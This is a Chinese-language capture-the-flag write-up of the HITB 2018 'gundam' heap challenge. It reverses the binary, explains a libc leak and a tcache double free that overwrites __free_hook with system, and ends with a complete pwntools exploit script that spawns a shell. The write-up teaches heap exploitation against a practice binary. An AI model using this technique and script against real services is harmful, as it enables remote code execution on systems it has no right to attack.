[堆利用:TCache机制]HITB CTF 2018:gundam

题目链接:https://github.com/moonAgirl/CTF/tree/master/2018/Hitbxctf/gundam

0x00 逆向分析

sub_AEA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 sub_AEA()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts(&s);
puts("1 . Build a gundam ");
puts("2 . Visit gundams ");
puts("3 . Destory a gundam");
puts("4 . Blow up the factory");
puts("5 . Exit");
puts(&s);
printf("Your choice : ");
return __readfsqword(0x28u) ^ v1;
}

先看一下菜单,字面意思很好理解
1.构造一个高达 2.遍历输出每个高达 3.删除一个高达 4.炸掉工厂 5.退出
然后按顺序看看每个功能对应的函数

sub_B7D 构造高达

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 sub_B7D()
{
int v1; // [rsp+0h] [rbp-20h] BYREF
unsigned int i; // [rsp+4h] [rbp-1Ch]
void *s; // [rsp+8h] [rbp-18h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
s = 0LL;
buf = 0LL;
if ( (unsigned int)dword_20208C <= 8 )
{
s = malloc(0x28uLL);
memset(s, 0, 0x28uLL);
buf = malloc(0x100uLL);
if ( !buf )
{
puts("error !");
exit(-1);
}
printf("The name of gundam :");
read(0, buf, 0x100uLL);
*((_QWORD *)s + 1) = buf;
printf("The type of the gundam :");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 2 )
{
puts("Invalid.");
exit(0);
}
strcpy((char *)s + 16, &aFreedom[20 * v1]);
*(_DWORD *)s = 1;
for ( i = 0; i <= 8; ++i )
{
if ( !factory[i] )
{
factory[i] = s;
break;
}
}
++dword_20208C;
}
return 0LL;
}

几行关键性的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
s = malloc(0x28)
buf = malloc(0x100uLL);
read(0, buf, 0x100uLL);
*((_QWORD *)s + 1) = buf;
strcpy((char *)s + 16, &aFreedom[20 * v1]);
*(_DWORD *)s = 1;

for ( i = 0; i <= 8; ++i )
{
if ( !factory[i] )
{
factory[i] = s;
break;
}
}

可以分析出高达的结构体

1
2
3
4
5
6
struct gundam{
uint32_t flag;
char *name;
char type[24];
}gundam;
struct gundam *factory[9]

每个高达都包含了两个chunk,一个0x30大小的factory,一个0x100大小的name。
factory主要装了一个flag,用于表示工厂内是否有高达(之后删除高达会用到),
一个name chunk的指针,一个高达类型,根据用户选择对应一个字符串。
特别关注一下read函数,buf的大小是0x100而读取大小也是0x100,并且没有对最后一位字符进行\x00处理,因此存在信息泄露。
name内部只有字符串,很简单的构造。

sub_EF4 遍历输出高达信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 sub_EF4()
{
unsigned int i; // [rsp+4h] [rbp-Ch]

if ( dword_20208C )
{
for ( i = 0; i <= 8; ++i )
{
if ( *((_QWORD *)&factory + i) && **((_DWORD **)&factory + i) )
{
printf("\nGundam[%u] :%s", i, *(const char **)(*((_QWORD *)&factory + i) + 8LL));
printf("Type[%u] :%s\n", i, (const char *)(*((_QWORD *)&factory + i) + 16LL));
}
}
}
else
{
puts("No gundam produced!");
}
return 0LL;
}

没有什么特别的内容。

sub_D32 删除一个高达

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 sub_D32()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( dword_20208C )
{
printf("Which gundam do you want to Destory:");
__isoc99_scanf("%d", &v1);
if ( v1 > 8 || !factory[v1] )
{
puts("Invalid choice");
return 0LL;
}
*(_DWORD *)factory[v1] = 0;
free(*(void **)(factory[v1] + 8LL));
}
else
{
puts("No gundam");
}
return 0LL;
}

可以看到删除高达的操作是
1.将flag置0
2.free掉name的chunk
从中可以发现的漏洞:free掉name后指针没有置空,依旧可以free

sub_E22 炸掉工厂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 sub_E22()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
for ( i = 0; i <= 8; ++i )
{
if ( *((_QWORD *)&factory + i) && !**((_DWORD **)&factory + i) )
{
free(*((void **)&factory + i));
*((_QWORD *)&factory + i) = 0LL;
--dword_20208C;
}
}
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}

把所有flag=0但是结构体不为0的factory全都free了

0x01 漏洞利用

1.泄露地址
2.double free,构造堆快,修改__free_hook
3.执行system(‘/bin/sh’)

先放一下方便操作的对应功能的函数定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def build(name):
io.sendlineafter("choice : ","1")
io.sendlineafter("gundam :",name)
io.sendlineafter("gundam :",'0')

def visit():
io.sendlineafter("choice : ",'2')

def destroy(idx):
io.sendlineafter("choice : ",'3')
io.sendlineafter("Destory:",str(idx))

def blow_up():
io.sendlineafter("choice : ",'4')

1.泄露地址

在sub_B7D中提到,read函数并没有对输入字符串末进行处理,因此只要装满就能泄露字符串后的地址。但是在2.26版本中,free掉堆块是会被放到tcache里的,tcache的位置在heap的底部,和libc之间的地址差存在随机性。但是tcache有容量上限,只要把tcache中的7个位置装满,第八个就会被放到unsorted bin中。

1
2
3
4
5
for i in range(9):
build('A'*7)
for i in range(8):
destroy(i)
blow_up()

先随便多造几个高达,然后free掉8个,并把他们的工场都用blow_up函数都炸了,用pwndbg可以看到此时的堆是这样的:
在这里插入图片描述
可以看到有7个chunk进了fastbin,第八个的factory进了fastbin,name进了unsortedbin。
此时,我们再把他们八个高达build出来,看一下效果

1
2
3
for i in range(7):
build('A'*7)
build('B'*7)

在这里插入图片描述
可以看到所有的chunk都被激活了,我们再仔细看看第八个chunk,也就是我塞了7个’B’的chunk。
在这里插入图片描述
然后就会惊喜的发现,在BBBBB后面连着一个神秘的7f开头的地址。
跳过去看看:
在这里插入图片描述
好家伙,这不是main_arena的地址吗。
在这里插入图片描述
通过vmmap可以看到,这个main_arena的地址在libc基地址下方,和heap相反,这里不会受到随机地址的影响,因此可以直接推算出libc的基地址。

在这里插入图片描述
看一下程序执行过程中,泄露的效果。
通过本地调试即可算出这个地址和libc基地址之间的距离,从而继续推算出system函数地址以及__free_hook函数的地址,具体过程就不详细讲了,直接放脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def leak():
global free_hook_addr,system_addr

for i in range(9):
build('A'*7)
for i in range(8):
destroy(i)
blow_up()

for i in range(7):
build('A'*7)
build('B'*7)

io.interactive()
visit()
leak = u64(io.recvuntil("Type[7]",drop=True)[-6:].ljust(8,'\x00'))
libc_base = leak - 0x3dac78
free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
log.info('libc:0x%x' % libc_base)
log.info("__free_hook:0x%x" % free_hook_addr)
log.info("system:0x%x" % system_addr)

这里的偏移地址0x3dac78就是之前第八个chunk泄露的地址和vmmap里看到的libc基地址相减得到的。
即7f687cd88c78(泄露地址) - 0x7f687c9ae000(libc基地址) = 0x3dac78(偏移地址)

2.double free,构造堆快,修改__free_hook

在2.26的tcache中不存在doublefree的检测机制,而之前我们也提到,sub_D32 也就是删除高达的函数,在free掉name之后并没有删除name指针,也就是说可以进行double free的操作。和fastbin不同,tcache的double free甚至不需要换一个堆free,直接两次free即可。

1
2
3
4
5
6
7
destroy(2)
destroy(1)
destroy(0)
#1
destroy(0)
#2
blow_up()

看似简单的五行代码其中暗藏玄机
前三行就是简单的按顺序free了三个name堆块。
在#1处attach一下,看看此时的堆块分布:
在这里插入图片描述

有三个堆块进入了fastbin

之后再到#2处attach一下:
在这里插入图片描述
然后就会惊人的发现,明明又free了一个堆块,但是显示的堆块并没有增加一个,反而减少了两个。
与此同时,还会发现这个free chunk的fd指针,指向的是它自己的用户区域,也就是chunk首地址+0x10的位置。
为了方便理解,我用excel做了个草图
在这里插入图片描述
可以看到,在#1处,tcache还是一个正常的单链表,但是当我再free一个chunk0的时候,它会按顺序进行如下操作:
1.将新free的chunk的fd指针指向头节点指向的第一个chunk,也就是把新来的chunk0的fd指针,指向了第一个chunk(还是chunk0)
2.把头节点的指针指向新free的chunk
因此就构成了图中这样的结果。
而此时,也就完成了double free。

然后执行了blow_up,将之前的0 1 2的工厂都炸了,方便之后构造三个chunk 0 1 2。

1
2
3
build(p64(free_hook_addr))
build('/bin/sh')
build(p64(system_addr))

这里就是chunk构造部分。接着之前完成的double free,此时的chunk0内部是这样的:
在这里插入图片描述
可以看到chunk0内部只有一个指向自己的地址。
然后,执行build(p64(free_hook_addr))
在这里插入图片描述
可以看到,chunk0的fd指针已经变成了7f开头的__free_hook地址。

再执行build(‘/bin/sh’),
在这里插入图片描述
此时,chunk0变成了只装了一个’/bin/sh’字符串的chunk了
在这里插入图片描述
与此同时,我们可以看到,tcache的头指针已经指向了__free_hook函数。
因为在上一步操作后,chunk0的fd指针已经指向了__free_hook,也就是说,当chunk0再被申请以后,再下一次申请,就会创建一个以__free_hook地址为起始用户区域的一个chunk,分配给它。
在这里插入图片描述
最后一步,执行build(p64(system_addr)),申请一个堆块,并将system函数的地址写入,本质上就是申请了以__free_hook为用户区域起始地址的chunk。也就是将__free_hook的地址改成了system。
到此,构造chunk已经结束,我们已经成功将system函数绑定在了free的钩子上,此时只要free一个用户区域是’/bin/sh’的chunk,就相当于执行了system(‘/bin/sh’),就能成功获得shell。
于是执行

1
2
destroy(1)    
io.interactive()

在这里插入图片描述

成功获得shell。

0x03 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from LibcSearcher import *

io = process('./gundam')
libc = ELF('/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc.so.6')
#context.log_level="debug"

def build(name):
io.sendlineafter("choice : ","1")
io.sendlineafter("gundam :",name)
io.sendlineafter("gundam :",'0')

def visit():
io.sendlineafter("choice : ",'2')

def destroy(idx):
io.sendlineafter("choice : ",'3')
io.sendlineafter("Destory:",str(idx))

def blow_up():
io.sendlineafter("choice : ",'4')

def leak():
global free_hook_addr,system_addr

for i in range(9):
build('A'*7)
for i in range(8):
destroy(i)
blow_up()

for i in range(7):
build('A'*7)
build('B'*7)
visit()
leak = u64(io.recvuntil("Type[7]",drop=True)[-6:].ljust(8,'\x00'))
libc_base = leak - 0x3dac78 #这里的偏移地址请在本地调试自行计算
free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
log.info('libc:0x%x' % libc_base)
log.info("__free_hook:0x%x" % free_hook_addr)
log.info("system:0x%x" % system_addr)

def overwrite():
destroy(2)
destroy(1)
destroy(0)
destroy(0)
blow_up()
build(p64(free_hook_addr))
build('/bin/sh')
build(p64(system_addr))

def pwn():
destroy(1)
io.interactive()

def debug(id):
log.info('check point %d' % id)
gdb.attach(io)
pause()

if __name__ == "__main__":
leak()
overwrite()
pwn()